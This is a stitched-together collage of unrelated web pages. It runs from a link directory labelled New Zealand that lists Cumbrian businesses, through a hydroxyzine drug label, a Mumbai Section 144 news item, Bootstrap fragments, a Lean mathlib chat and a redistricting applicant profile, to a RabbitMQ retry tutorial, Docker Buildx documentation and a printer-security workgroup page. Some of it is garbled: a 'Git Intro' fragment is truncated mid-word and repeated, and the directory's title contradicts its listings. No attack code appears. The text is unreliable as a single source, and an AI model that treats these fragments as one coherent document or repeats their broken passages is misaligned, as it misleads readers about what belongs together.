Link exchange New Zealand Web Directory LinkMeUpNew Zealand Search engine for New Zealand websites...
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Newly added links
-
Penrith Golf Centre - 9 hole golf course, floodlit driving range and well stocked golf shop at Penrith. Also golf lessons by professional coaches. ( Added: 2004-07-08, Hits: 11, )
-
Ling Close - Holiday Cottage with stunning views over Blencathra and Clough Head. Located in Threlkeld village (Keswick 4 miles). ( Added: 2004-07-08, Hits: 9, )
-
AccommoGator - Tourist Information and Accommodation Directory for Cumbria ( Added: 2004-07-06, Hits: 17, )
-
keswick games - Computer Games Stall on Keswick Market Place every Saturday. Trading in new and secondhand, DVDs and CDs also available.Preview stock and details on website. ( Added: 2004-07-06, Hits: 4, )
-
Eden Valley Beer & Cumbrian Grub Fes - July 16th, 17th & 18th 2004 The White Horse Kings Meaburn (8 miles south of Penrith)
25 Beers, Local Food, Jazz Bands, Farmers Market and much more! ( Added: 2004-07-06, Hits: 14, )
Updated links
-
Team Building and Outdoor Activities fro - Team building, outdoor activities for groups, corporate and conference energisers, team building exercises and outdoor management development training in the Lake District from Key Adventures ( Added: 2003-11-26, Hits: 167, )
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Preston Patrick church - Member of the Rainbow team of churches - Kirkby Lonsdale - Diocese of Carlisle, Kendal Deanery UK. ( Added: 2003-10-05, Hits: 121, )
-
Lanes News - The Lanes News, a small friendly business, with emphasis on customer care and satisfaction providing a wide range of soft drinks, confectionery, news and magazines. ( Added: 2002-12-15, Hits: 165, )
-
Carlisle Student Weekly - Online student news and views with a resource guide for all students in Carlisle and the surrounding areas. ( Added: 2002-12-15, Hits: 198, )
-
The Whitehaven News - The Whitehaven News Newspaper, news sport information and comment form the Copeland district of Cumbria. ( Added: 2002-12-15, Hits: 192, )
Most popular
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Keswick - Do Keswick is an interactive community and tourism guide to Keswick on Derwentwater in the Lake District.We want to give local businesses, whether accommodation providers or involved in the retail world, a chance to be part of íthe bigger picture. ( Added: 2002-12-05, Hits: 1216, )
-
Last Minute Lakeland - Self Catering - Cumbrian self catering accommodation. Details, photos and special offers updated by the owners ( Added: 2003-08-22, Hits: 482, )
-
Keswick Self Catering - Self Catering accommodation in Keswick and the surrounding Northern Lake District ( Added: 2003-04-25, Hits: 452, )
-
McDougalls Catering - Outside Show & Event Mobile Catering Units & Barbecues ( Added: 2003-02-04, Hits: 398, )
-
Longlands Caravans - There can be few holiday locations so idyllic. All the variety of the Cartmel and Furness Peninsulas as well as the stunning beauty of the Southern Lake District, right on your doorstep. At the Longlands Caravan Park we offer marvellous views across the D ( Added: 2002-12-05, Hits: 377, )
Search link directory
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HYDROXYZINE HYDROCHLORIDE - hydroxyzine hydrochloride tablet, film coated
REMEDYREPACK INC.
HydrOXYzine hydrochloride has the chemical name of 2-[2-[4-(p-Chloro-α-phenylbenzyl)-1-piperazinyl]ethoxy]ethanol dihydrochloride.
C21H27ClN2O2•2HCl M.W.447.83
HydrOXYzine hydrochloride occurs as a white, odorless powder which is very soluble in water.
Each tablet for oral administration contains 10 mg, 25 mg or 50 mg hydrOXYzine HCI. Inactive ingredients include: lactose monohydrate, colloidal silicon dioxide, hypromellose, magnesium stearate, microcrystalline cellulose, sodium starch glycolate, stearic acid, polyethylene glycol, polysorbate 80, and titanium dioxide.
HydrOXYzine hydrochloride is unrelated chemically to the phenothiazines, reserpine, meprobamate or the benzodiazepines. HydrOXYzine is not a cortical depressant, but its action may be due to a suppression of activity in certain key regions of the subcortical area of the central nervous system.
Primary skeletal muscle relaxation has been demonstrated experimentally. Bronchodilator activity, and antihistaminic and analgesic effects have been demonstrated experimentally and confirmed clinically. An antiemetic effect, both by the apomorphine test and the veriloid test, has been demonstrated.
Pharmacological and clinical studies indicate that hydrOXYzine in therapeutic dosage does not increase gastric secretion or acidity and in most cases has mild antisecretory activity.
HydrOXYzine is rapidly absorbed from the gastrointestinal tract and hydrOXYzine's clinical effects are usually noted within 15 to 30 minutes after oral administration.
For symptomatic relief of anxiety and tension associated with psychoneurosis and as an adjunct in organic disease states in which anxiety is manifested.
Useful in the management of pruritus due to allergic conditions such as chronic urticaria and atopic and contact dermatoses, and in histamine-mediated pruritus.
As a sedative when used as a premedication and following general anesthesia, hydrOXYzine may potentiate meperidine and barbiturates, so their use in pre-anesthetic adjunctive therapy should be modified on an individual basis. Atropine and other belladonna alkaloids are not affected by the drug. HydrOXYzine is not known to interfere with the action of digitalis in any way and it may be used concurrently with this agent.
The effectiveness of hydrOXYzine as an antianxiety agent for long term use, that is more than 4 months, has not been assessed by systematic clinical studies. The physician should reassess periodically the usefulness of the drug for the individual patient.
HydrOXYzine, when administered to the pregnant mouse, rat, and rabbit induced fetal abnormalities in the rat and mouse at doses substantially above the human therapeutic range. Clinical data in human beings are inadequate to establish safety in early pregnancy. Until such data are available, hydrOXYzine is contraindicated in early pregnancy.
HydrOXYzine is contraindicated for patients who have shown a previous hypersensitivity to it.
Nursing Mothers
It is not known whether this drug is excreted in human milk. Since many drugs are so excreted, hydrOXYzine should not be given to nursing mothers.
THE POTENTIATING ACTION OF HYDROXYZINE MUST BE CONSIDERED WHEN THE DRUG IS USED IN CONJUNCTION WITH CENTRAL NERVOUS SYSTEM DEPRESSANTS SUCH AS NARCOTICS, NON-NARCOTIC ANALGESICS AND BARBITURATES. Therefore, when central nervous system depressants are administered concomitantly with hydrOXYzine their dosage should be reduced.
Since drowsiness may occur with use of this drug, patients should be warned of this possibility and cautioned against driving a car or operating dangerous machinery while taking hydrOXYzine. Patients should also be advised against the simultaneous use of other CNS depressant drugs, and cautioned that the effects of alcohol may be increased.
A determination has not been made whether controlled clinical studies of hydrOXYzine included sufficient numbers of subjects aged 65 and over to define a difference in response from younger subjects. Other reported clinical experience has not identified differences in responses between the elderly and younger patients. In general, dose selection for an elderly patient should be cautious, usually starting at the low end of the dosing range, reflecting the greater frequency of decreased hepatic, renal or cardiac function, and of concomitant disease or other drug therapy.
The extent of renal excretion of hydrOXYzine has not been determined. Because elderly patients are more likely to have decreased renal function, care should be taken in dose selections.
Sedating drugs may cause confusion and over sedation in the elderly; elderly patients generally should be started on low doses of hydrOXYzine and observed closely.
Side effects reported with the administration of hydrOXYzine hydrochloride are usually mild and transitory in nature.
Anticholinergic: Dry mouth.
Central Nervous System: Drowsiness is usually transitory and may disappear in a few days of continued therapy or upon reduction of dose. Involuntary motor activity including rare instances of tremor and convulsions have been reported, usually with doses considerably higher than those recommended. Clinically significant respiratory depression has not been reported at recommended doses.
The most common manifestation of hydrOXYzine overdosage is hypersedation. As in the management of overdosage with any drug, it should be borne in mind that multiple agents may have been taken.
If vomiting has not occurred spontaneously, it should be induced. Immediate gastric lavage is also recommended. General supportive care, including frequent monitoring of the vital signs and close observation of the patient, is indicated. Hypotension, though unlikely, may be controlled with intravenous fluids and levarterenol or metaraminol. Do not use epinephrine as hydrOXYzine counteracts its pressor action.
There is no specific antidote. It is doubtful that hemodialysis would be of any value in the treatment of overdosage with hydrOXYzine. However, if other agents such as barbiturates have been ingested concomitantly, hemodialysis may be indicated. There is no practical method to quantitate hydrOXYzine in body fluids or tissue after its ingestion or administration.
For symptomatic relief of anxiety and tension associated with psychoneurosis and as an adjunct in organic disease states in which anxiety is manifested: Adults, 50-100 mg q.i.d.; children under 6 years, 50 mg daily in divided doses; children over 6 years, 50-100 mg daily in divided doses.
For use in the management of pruritus due to allergic conditions such as chronic urticaria and atopic and contact dermatoses and in histamine-mediated pruritus: adults, 25 mg t.i.d. or q.i.d.; children under 6 years, 50 mg daily in divided doses; children over 6 years, 50-100 mg daily in divided doses.
As a sedative when used as a premedication and following general anesthesia: 50-100 mg for adults and 0.6 mg/kg of body weight in children.
When treatment is initiated by the intramuscular route of administration, subsequent doses may be administered orally.
As with all potent medication, the dosage should be adjusted according to the patient's response to therapy.
HydrOXYzine Hydrochloride Tablets, USP,
10 mg - Round, white, film-coated tablet, debossed "H/105", supplied in bottles of 100, 500, and 1000.
Bottles of 100 NDC 23155-105-01
Bottles of 500 NDC 23155-105-05
Bottles of 1000 NDC 23155-105-10
25 mg - Round, white, film-coated tablet, debossed "H/106", supplied in bottles of 100, 500, and 1000.
Bottles of 100 NDC 23155-106-01
Bottles of 500 NDC 23155-106-05
Bottles of 1000 NDC 23155-106-10
50 mg - Round, white, film-coated tablet, debossed "H/107", supplied in bottles of 100. 500, and 1000.
Bottles of 100 NDC 23155-107-01
Bottles of 500 NDC 23155-107-05
Bottles of 1000 NDC 23155-107-10
Dispense in a tight container as defined in the USP.
Store at controlled room temperature 20°-25°C (68°-77°F); [see USP Controlled Room Temperature].
Call your doctor for medical advice about side effects. You may report side effects to FDA at 1-800-FDA-1088.
Manufactured for:
Heritage Pharmaceuticals Inc.
Edison, NJ 08837
1.866.901.DRUG (3784)
Manufactured by:
ANDAPharm,LLC
Ft. Lauderdale, FL 33309
Iss. 06/09
DRUG: Hydroxyzine Hydrochloride
GENERIC: Hydroxyzine Hydrochloride
DOSAGE: TABLET, FILM COATED
ADMINSTRATION: ORAL
NDC: 52125-822-02
ACTIVE INGREDIENT(S):
INACTIVE INGREDIENT(S):
COLOR: white
SHAPE: ROUND
SCORE: No score
SIZE: 9 mm
IMPRINT: H;107
PACKAGING: 30 in 1 BLISTER PACK
|
HYDROXYZINE HYDROCHLORIDE
hydroxyzine hydrochloride tablet, film coated | ||||||||||||||||||||||||
| ||||||||||||||||||||||||
| ||||||||||||||||||||||||
| ||||||||||||||||||||||||
| ||||||||||||||||||||||||
| ||||||||||||||||||||||||
|
| Labeler - REMEDYREPACK INC. (829572556) |


Ayodhya verdict: Section 144 imposed in Mumbai for the next 24 hours
The order bars holding of public meetings or assembly of more than five persons or processions
by Press Trust of IndiaSection 144 of the CrPC which bars assembly of more than four people was imposed in Mumbai on Saturday as the Supreme Court delivers its verdict on the sensitive Ram Janmabhoomi-Babri Masjid suit.
The prohibitory order comes into effect from 11 am and will remain in force for the next 24 hours, a Mumbai Police spokesperson said.
The order bars holding of public meetings or assembly of more than five persons or processions.
It also prohibits entry of all types of vehicles carrying persons intending to participate in such unlawful gatherings.
Heavy security is put in place across the financial capital which had witnessed communal riots after the disputed structure was demolished in Ayodhya in 1993.


.dropup
to the parent element.
button
elements in your dropdowns instead
.dropdown-menu-right
to a
.dropdown-menu
to right align the dropdown menu.
.disabled
to items in the dropdown to style them as disabled.


--- layout: archive title: Zulip Chat Archive permalink: /stream/116395-maths/topic/products.20of.20linear.20combinations.html ---
If you have a comm_ring R
and an algebra R A
, then you can look at R
-linear combinations of elements in A
. Those are terms of lc R A
. Of course you can naturally multiply those things, so that you get algebra R (lc R A)
. Also, lc.total
becomes an algebra hom.
(N.b.: The multiplication on lc R A
is not the multiplication on finsupp
.)
I've proven these things in https://github.com/leanprover-community/lean-perfectoid-spaces/blob/master/src/for_mathlib/lc_algebra.lean
What is the right place in mathlib for these facts? Should I start a new file? (If so, where?) Or should this go in linear_algebra.linear_combination
?
What is this for?
I needed this for some stuff on topological rings (part of the perfectoid project).
It's a natural thing to do, right?
In particular, I needed the mul_support
theorem.
It feels like a strange construction. It seems you're using much less than that A
is an R-algebra here.
So if you have a monoid in R
-modules...
I'm confused, sorry, why does lc R A
need that A
is an R
-module? I thought it was just formal R
-linear combinations of terms in A
.
@Scott Morrison I guess there is a lot of linear algebra that can be generalised.
I guess I've never looked at lc
before... :-)
That's so weird that they put [add_comm_group β] [module α β]
in the requirements for lc
, right from the beginning.
It's like lc
doesn't mean "formal linear combinations", which is what I'd always assumed, but "not-yet -added-up linear expressions in a module"
Yup...
.... ugh?
I guess this might be the first time you need the assumption: https://github.com/leanprover-community/mathlib/blob/b39d6d8a502edfb5adb3026c256c82bea526328b/src/linear_algebra/linear_combination.lean#L142
but then much of the rest of the file doesn't need such strong assumptions again
I'm willing to invest time in refactoring the algebraic hierarchy... but it will need to be streamlined. Currently PR's are opened faster than they are merged.
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


eman almkhareez
& eman Git Intro
help software teams managechanges to
VCS entails one database on your own
Centralized Version Control Centraliz
programmer to share the file to coll
server storing all changes and file
the major vulnerability of the CVS
server failure all member can not
help software teams managechanges to
VCS entails one database on your own
Centralized Version Control Centraliz
programmer to share the file to coll
server storing all changes and file
the major vulnerability of the CVS
server failure all member can not


API
User ID and API Token of your Habitica account can be found in the settings under API section.
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Emma Gillian Williamson Grant
Democrat
I currently work for a public health nonprofit called Trailhead Institute. I am the program manager for a statewide workforce called the Regional Health Connectors.
- Bachelor of Arts, Sociology - Masters in Public Health, Community and Behavioral Health
80206
I have been a registered Democrat for over 10 years, and have voted in many local elections, primaries, and both the 2016 and 2020 presidential election. I also voted overseas for the 2008 election. This year, I volunteered for a few "Get out the Vote" campaigns. I made phone calls to registered Democrats in Pennsylvania to encourage them to vote (regardless of who it was), as well as texted voters here in Colorado asking them to share their voting plans.
YMCA advisory board, Schlessman branch, Denver Standing Up for Racial Justice (SURJ) Colorado Public Health Association (CPHA) CPHA Health Equity Coalition Warm Cookies of the Revolution Denver District 8 Democrats CO9to25 (has dismantled) Court Appointed Special Advocate of Metro Denver (CASA) Volunteers of Outdoor Colorado
I am currently serving on the Health Equity Coalition for the state of Colorado run through the state public health association (CPHA, see question above). I am a white woman, so can not speak for folks of color, however I can advocate for their community and health needs as I hear them through my work. I am managing a statewide workforce of 20 people who live in regions throughout the state, they are called Regional Health Connectors (RHCs). RHCs work to connect primary care, public health, and community assets together to promote overall health for their communities. They have many local level stories to share about what is needed for their communities, and I am able to use what I hear, bring to a statewide committee and advocate for better health resources for them, ultimately leading to more awareness of issues and community needs, as well as who to reach out to in the community to support.
Fair maps that greater represent the diversity of Colorado's people, places, and communities are needed to create more equity among communities across Colorado. I can bring forth my own knowledge of what is needed in diverse communities across Colorado because of my work at a state level. Further, this will give me an opportunity to use my knowledge of geography and allocation of health districts in the state, aggregated by statistical and demographic data, to guide the redistricting process.
Being fair and impartial can be challenging, particularly because we as humans have a tendency to hang strong to our own personal beliefs and values. However, I have learned to practice empathy and listening to understand others perspectives and where they come from. Because my work has been to manage a statewide program of diverse folks who come from many Colorado communities, I have needed to practice listening, understanding, and validating everyone’s experiences equally. Despite our differing views, I have learned to understand where folks are at, and create inclusive spaces for folks for them to also understand my experience. I would use this skill to present all sides of what comes up in the redistricting process, and promote an understanding of all sides so that we can find common ground where we can agree.
Throughout my grad school experience and career, I have had to use many critical thinking skills. My strongest skills that I use are collaboration, brainstorming, and planning, particularly around calls to action for health equity in communities in Colorado. I am able to use qualitative and quantitative data to create a picture of what the problem is and what is needed to solve that problem, a useful skill for this committee.
Female


--- layout: post title: 'RabbitMQ: Publish, Consume, and Retry Messages' author: rpierlot date: '2017-01-31 15:06:22 +0100' date_gmt: '2017-01-31 14:06:22 +0100' categories: - Php tags: - php - Swarrot - RabbitMQ - symfony --- {% raw %}
RabbitMQ is a message broker, allowing to process things asynchronously. There's already an article written about it, if you're not familiar with RabbitMQ.
What I'd like to talk to you about is the lifecycle of a message, with error handling. Everything in a few lines of code.
Therefore, we're going to configure a RabbitMQ virtual host, publish a message, consume it and retry publication if any error occurs.
The technical solution is based on two libraries:
Swarrot is compatible with the amqp extension of PHP, as well as the php-amqplib library. The PHP extension has a certain advantage on performance (written in C) over the library, based on benchmarks. To install the extension, click here.
The main adversary to Swarrot, RabbitMqBundle, is not compatible with the PHP extension, and is not as simple in both configuration and usage.
Our first step will be to create our RabbitMQ configuration: our exchange and our queue.
The RabbitMQ Admin Toolkit library, developed by odolbeau, allows us to configure our vhost very easily. Here is a basic configuration declaring an exchange and a queue, allowing us to send our mascot Wilson and his fellow friends to space:
# default_vhost.yml '/': parameters: with_dl: false # If true, all queues will have a dl and the corresponding mapping with the exchange "dl" with_unroutable: false # If true, all exchange will be declared with an unroutable config exchanges: default: type: direct durable: true queues: send_astronaut_to_space: durable: true bindings: - exchange: default routing_key: send_astronaut_to_space
Here, we ask the creation of an exchange named "default", and a queue named "send_astronaut_to_space", bound to our exchange via a homonym routing key.
A binding represents a relation between a queue and an exchange.
Let's launch the command to create our vhost:
vendor/bin/rabbit vhost:mapping:create default_vhost.yml --host=<IP_ADDRESS> Password? With DL: false With Unroutable: false Create exchange default Create queue send_astronaut_to_space Create binding between exchange default and queue send_astronaut_to_space (with routing_key: send_astronaut_to_space)
If you connect to the RabbitMQ management interface (ex: http://<IP_ADDRESS>:15672/), many things will appear:
Click on the Exchanges tab: an exchange named default has been created, with a binding to our queue as indicated in our terminal.
Now click on the Queues tab: send_astronaut_to_space is also here.
Let's take a look at the publication and consumption of messages.
The library helping us to consume and publish messages, Swarrot, has a Symfony bundle which will help us use it very easily in our app: SwarrotBundle.
The thing we want to achieve here is to publish messages, and to consume them. Here is how it's done.
After installing the bundle, we have to configure it:
# app/config/config.yml swarrot: provider: pecl # pecl or amqp_lib connections: rabbitmq: host: '%rabbitmq_host%' port: '%rabbitmq_port%' login: '%rabbitmq_login%' password: '%rabbitmq_password%' vhost: '/' consumers: send_astronaut_to_space: # name of the consumer processor: processor.send_astronaut_to_space # name of the service extras: poll_interval: 500000 requeue_on_error: false middleware_stack: - configurator: swarrot.processor.exception_catcher - configurator: swarrot.processor.ack
This is a configuration example. The interesting part comes around the "consumers" parameter.
Every message published in an exchange will be routed to a queue according to its routing jey. Therefore, we need to process a message stored in a queue. Using Swarrot, special things called processors are in charge of this.
To consume a message, we need to create our own processor. As indicated in the documentation, a processor is just a Symfony service who needs to implement the ProcessInterface interface.
[caption id="" align="aligncenter" width="548"] Swarrot - Middleware stack[/caption]
The particularity of processors is that they work using middlewares, allowing to add behavior before and/or after the processing of our message (our processor). That's why there is a middleware_stack parameter, that holds two things: swarrotot.processor.exception_catcher and swarrot.processor.ack. Although optional, these middlewares bring nice flexibility. We'll come back on this later on.
<?php namespace AppBundle\Processor; use Swarrot\Broker\Message; use Swarrot\Processor\ProcessorInterface; class SendAstronautToSpace implements ProcessorInterface { public function process(Message $message, array $options) { //... } }
Our SendAstronautToSpace processor implements a method called process, which allows us to retrieve the message to consume, and use it in our application.
We've just setup the consumption of messages. What do we need to do next? See the publication part of course!
Once again, it's very simple to publish messages with Swarrot. We only need to declare a publisher in our configuration, and use the SwarrotBundle publication service to publish a new message.
# app/config/config.yml consumers: # ... middleware_stack: - configurator: swarrot.processor.exception_catcher - configurator: swarrot.processor.ack messages_types: send_astronaut_to_space_publisher: connection: rabbitmq exchange: default routing_key: send_astronaut_to_space
The secret is to declare a new message type, specifying the connection, exchange, and the routing key. Then publish a message this way:
<?php $message = new Message('Wilson wants to go to space'); $this->get('swarrot.publisher')->publish('send_astronaut_to_space_publisher', $message);
The service swarrot.publisher deals with publishing our message. Simple right?
After setting up queues, published and consumed a message, we now have a good view of the life-cycle of a message.
One last aspect I'd like to share with you today is about errors while consuming your messages.
Setting aside implementation problems in your code, it's possible that you encounter exceptions, due to external causes. For instance, you have a processor that makes HTTP calls to an outside service. The said service can be temporarily down, or returning an error. You need to publish a message and make sure that this one is not lost. Wouldn't it be great to publish this message again if the service does not respond? And do so after a certain amount of time?
Somewhere along the way, I've been confronted to this problem. We knew such things could happen and we needed to automatically "retry" our messages publication.
I'm going to show you how to proceed, keeping our example send_astronaut_to_space. Let's decide that we're going to retry the publication of our message 3 times maximum. To do that, we need 3 retry queues. Fortunately, configuration of retry queues and exchanges is so easy with RabbitMQ Admin Toolkit: we only need one line! Let's see this more closely :
# default_vhost.yml # ... queues: send_astronaut_to_space: durable: true retries: [5, 25, 100] # Create a retry exchange with 3 retry queues prefixed with send_astronaut_to_space bindings: - exchange: default routing_key: send_astronaut_to_space
The array of parameters of key retries corresponds to the delay after which the message will be published again. Following the first failure, 5 seconds will go by before publishing again the message. Then 25 seconds, and finally 100. The behavior suits our problem perfectly...
If we launch our command one more time, here is the result:
vendor/bin/rabbit vhost:mapping:create default_vhost.yml --host=<IP_ADDRESS> Password? With DL: false With Unroutable: false Create exchange default Create exchange dl Create queue send_astronaut_to_space Create queue send_astronaut_to_space_dl Create binding between exchange dl and queue send_astronaut_to_space_dl (with routing_key: send_astronaut_to_space) Create queue send_astronaut_to_space_retry_1 Create binding between exchange retry and queue send_astronaut_to_space_retry_1 (with routing_key: send_astronaut_to_space_retry_1) Create queue send_astronaut_to_space_retry_2 Create binding between exchange retry and queue send_astronaut_to_space_retry_2 (with routing_key: send_astronaut_to_space_retry_2) Create queue send_astronaut_to_space_retry_3 Create binding between exchange retry and queue send_astronaut_to_space_retry_3 (with routing_key: send_astronaut_to_space_retry_3) Create binding between exchange default and queue send_astronaut_to_space (with routing_key: send_astronaut_to_space)
We still create a default exchange. Then, many things are done:
Now let's configure our consumer.
With Swarrot, handling of retries is very easy to configure. Do you remember those middlewares we've seen before? Well there's a middleware for that!
# app/config/config.yml consumers: # ... middleware_stack: - configurator: swarrot.processor.exception_catcher - configurator: swarrot.processor.ack - configurator: swarrot.processor.retry extras: retry_exchange: 'retry' retry_attempts: 3 retry_routing_key_pattern: 'send_astronaut_to_space_retry_%%attempt%%' messages_types: send_astronaut_to_space_publisher: connection: rabbitmq exchange: default routing_key: send_astronaut_to_space
The main difference with our previous configuration is located around the parameter middleware_stack: we need to add the processor swarrot.processor.retry, with its retry strategy:
The workflow works this way: if the message is not acknowledged following an exception the first time, it will be published in the retry exchange, with routing key send_astronaut_to_space_retry_1. Then, 5 seconds later, the message is published back in our main queue send_astronaut_to_space. If another error is encountered, it will be republished in the retry exchange, with the routing key send_astronaut_to_space_retry_2, and 25 seconds later the message will be back on our main queue. Same thing one last time with 100 seconds.
sf swarrot:consume:send_astronaut_to_space send_astronaut_to_space [2017-01-12 12:53:41] app.WARNING: [Retry] An exception occurred. Republish message for the 1 times (key: send_astronaut_to_space_retry_1) {"swarrot_processor":"retry","exception":"[object] (Exception(code: 0): An error occurred while consuming hello at /home/gus/dev/swarrot/src/AppBundle/Processor/SendAstronautToSpace.php:12)"} [2017-01-12 12:53:46] app.WARNING: [Retry] An exception occurred. Republish message for the 2 times (key: send_astronaut_to_space_retry_2) {"swarrot_processor":"retry","exception":"[object] (Exception(code: 0): An error occurred while consuming hello at /home/gus/dev/swarrot/src/AppBundle/Processor/SendAstronautToSpace.php:12)"} [2017-01-12 12:54:11] app.WARNING: [Retry] An exception occurred. Republish message for the 3 times (key: send_astronaut_to_space_retry_3) {"swarrot_processor":"retry","exception":"[object] (Exception(code: 0): An error occurred while consuming hello at /home/gus/dev/swarrot/src/AppBundle/Processor/SendAstronautToSpace.php:12)"} [2017-01-12 12:55:51] app.WARNING: [Retry] Stop attempting to process message after 4 attempts {"swarrot_processor":"retry"} [2017-01-12 12:55:51] app.ERROR: [Ack] An exception occurred. Message #4 has been nack'ed. {"swarrot_processor":"ack","exception":"[object] (Exception(code: 0): An error occurred while consuming hello at /home/gus/dev/swarrot/src/AppBundle/Processor/SendAstronautToSpace.php:12)"} [2017-01-12 12:55:51] app.ERROR: [ExceptionCatcher] An exception occurred. This exception has been caught. {"swarrot_processor":"exception","exception":"[object] (Exception(code: 0): An error occurred while consuming hello at /home/gus/dev/swarrot/src/AppBundle/Processor/SendAstronautToSpace.php:12)"}
When creating our virtual host, we saw that an exchange called dl , associated to a queue send_astronaut_to_space_dl has been created. This queue is our message's last stop if the retry mechanism is not able to successfully publish our message (an error is still encountered after each retry).
If we look closely the details of queue send_astronaut_to_space, we see that "x-dead-letter-exchange" is equal to"dl", and that "x-dead-letter-routing-key" is equal to "send_astronaut_to_space", corresponding to our binding explained previously.
On every error in our processor, the retryProcessor will catch this error, and republish our message in the retry queue as many times as we've configured it. Then Swarrot will hand everything to RabbitMQ to route our message to the queue queue send_astronaut_to_space_dl.
Swarrot is a library that allows us to consume and publish messages in a very simple manner. Its system of middlewares increases possibility in the consumption of messages.
Tied to RabbitMQ Admin Toolkit to configure exchanges and queues, Swarrot will also let you retry your lost messages very easily.


Docker Buildx
Estimated reading time: 7 minutesThis is an experimental feature.
Experimental features provide early access to future product functionality. These features are intended for testing and feedback only as they may change between releases without warning or can be removed entirely from a future release. Experimental features must not be used in production environments. Docker does not offer support for experimental features. For more information, see Experimental features.
To enable experimental features in the Docker CLI, edit the
config.json
file and setexperimental
to enabled.To enable experimental features from the Docker Desktop menu, click Settings (Preferences on macOS) > Daemon and then select the Experimental features check box.
Overview
Docker Buildx is a CLI plugin that extends the docker command with the full support of the features provided by Moby BuildKit builder toolkit. It provides the same user experience as docker build with many new features like creating scoped builder instances and building against multiple nodes concurrently.
Install
Docker Buildx is included in Docker 19.03 and is also bundled with the following Docker Desktop releases. Note that you must enable the ‘Experimental features’ option to use Docker Buildx.
- Docker Desktop Enterprise version 2.1.0
- Docker Desktop Edge version <IP_ADDRESS> or higher
You can also download the latest buildx
binary from the Docker buildx repository.
Build with buildx
To start a new build, run the command docker buildx build .
$ docker buildx build .
[+] Building 8.4s (23/32)
=> ...
Buildx builds using the BuildKit engine and does not require DOCKER_BUILDKIT=1
environment variable to start the builds.
The docker buildx build
command supports features available for docker build
, including the new features in Docker 19.03 such as outputs configuration, inline build caching, and specifying target platform. In addition, Buildx also supports new features that are not yet available for regular docker build
like building manifest lists, distributed caching, and exporting build results to OCI image tarballs.
You can run Buildx in different configurations that are exposed through a driver concept. Currently, Docker supports a “docker” driver that uses the BuildKit library bundled into the docker daemon binary, and a “docker-container” driver that automatically launches BuildKit inside a Docker container.
The user experience of using Buildx is very similar across drivers. However, there are some features that are not currently supported by the “docker” driver, because the BuildKit library which is bundled into docker daemon uses a different storage component. In contrast, all images built with the “docker” driver are automatically added to the “docker images” view by default, whereas when using other drivers, the method for outputting an image needs to be selected with --output
.
Work with builder instances
By default, Buildx uses the “docker” driver if it is supported, providing a user experience very similar to the native docker build. Note that you must use a local shared daemon to build your applications.
Buildx allows you to create new instances of isolated builders. You can use this to get a scoped environment for your CI builds that does not change the state of the shared daemon, or for isolating builds for different projects. You can create a new instance for a set of remote nodes, forming a build farm, and quickly switch between them.
You can create new instances using the docker buildx create
command. This creates a new builder instance with a single node based on your current configuration.
To use a remote node you can specify the DOCKER_HOST
or the remote context name while creating the new builder. After creating a new instance, you can manage its lifecycle using the inspect, stop and rm commands. To list all available builders, use ls. After creating a new builder you can also append new nodes to it.
To switch between different builders use docker buildx use <name>
. After running this command, the build commands will automatically use this builder.
Docker 19.03 also features a new docker context command that you can use to provide names for remote Docker API endpoints. Buildx integrates with docker context to ensure all the contexts automatically get a default builder instance. You can also set the context name as the target when you create a new builder instance or when you add a node to it.
Build multi-platform images
BuildKit is designed to work well for building for multiple platforms and not only for the architecture and operating system that the user invoking the build happens to run.
When you invoke a build, you can set the --platform
flag to specify the target platform for the build output, (for example, linux/amd64, linux/arm64, darwin/amd64).
When the current builder instance is backed by the “docker-container” driver, you can specify multiple platforms together. In this case, it builds a manifest list which contains images for all of the specified architectures. When you use this image in docker run
or docker service
, Docker picks the correct image based on the node’s platform.
You can build multi-platform images using three different strategies that are supported by Buildx and Dockerfiles:
- Using the QEMU emulation support in the kernel
- Building on multiple native nodes using the same builder instance
- Using a stage in Dockerfile to cross-compile to different architectures
QEMU is the easiest way to get started if your node already supports it (for example. if you are using Docker Desktop). It requires no changes to your Dockerfile and BuildKit automatically detects the secondary architectures that are available. When BuildKit needs to run a binary for a different architecture, it automatically loads it through a binary registered in the binfmt_misc
handler.
Using multiple native nodes provide better support for more complicated cases that are not handled by QEMU and generally have better performance. You can add additional nodes to the builder instance using the --append
flag.
# assuming contexts node-amd64 and node-arm64 exist in "docker context ls"
$ docker buildx create --use --name mybuild node-amd64
mybuild
$ docker buildx create --append --name mybuild node-arm64
$ docker buildx build --platform linux/amd64,linux/arm64 .
Finally, depending on your project, the language that you use may have good support for cross-compilation. In that case, multi-stage builds in Dockerfiles can be effectively used to build binaries for the platform specified with --platform
using the native architecture of the build node. A list of build arguments like BUILDPLATFORM
and TARGETPLATFORM
is available automatically inside your Dockerfile and can be leveraged by the processes running as part of your build.
FROM --platform=$BUILDPLATFORM golang:alpine AS build
ARG TARGETPLATFORM
ARG BUILDPLATFORM
RUN echo "I am running on $BUILDPLATFORM, building for $TARGETPLATFORM" > /log
FROM alpine
COPY --from=build /log /log
High-level build options
Buildx also aims to provide support for high-level build concepts that go beyond invoking a single build command.
BuildKit efficiently handles multiple concurrent build requests and deduplicating work. The build commands can be combined with general-purpose command runners (for example, make
). However, these tools generally invoke builds in sequence and therefore cannot leverage the full potential of BuildKit parallelization, or combine BuildKit’s output for the user. For this use case, we have added a command called docker buildx bake
.
The bake
command supports building images from compose files, similar to a compose build, but allowing all the services to be built concurrently as part of a single request.
Set buildx
as the default builder
Running the command docker buildx install
sets up docker builder command as an alias to docker buildx
. This results in the ability to have docker build
use the current buildx builder.
To remove this alias, run docker buildx uninstall
.


The Imaging Device Security (IDS) workgroup is chartered to establish and provide liaisons with public standards bodies concerning security topics, standards, and protection profiles for Hardcopy Devices.
Chair: Alan Sukert
Vice-Chair: Vacant
Secretary: Alan Sukert
Bi-weekly conference calls are held on Thursdays at 3pm US Eastern time. Announcements are made to the PWG IDS WG mailing list .
Mailing list<EMAIL_ADDRESS>· Subscribe
Archives: Meeting Minutes · IDS List Archive
None currently.
PWG Hardcopy Device Security Guidelines v1.0 (HCDSEC): Clean · Redlined (Stable Draft - Last Updated February 8, 2022)
Most recent draft IDS Model and Requirements
Most recent draft IDS Authentication and Authorization
Most recent draft HCD-TNC binding specification
December 2007 BOF Presentation
PWG 5110.1-2013: PWG Hardcopy Device Health Assessment Attributes
PWG 5110.2-2013: PWG Hardcopy Device Health Assessment Network Access Protection Protocol Binding
PWG 5110.3-2013: Common Log Format
PWG 5110.4-2015: Hardcopy Device Health Assessment Trusted Network Connect Binding (HCD-TNC)


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Wizkid wins Ashford & Simpson songwriter’s award
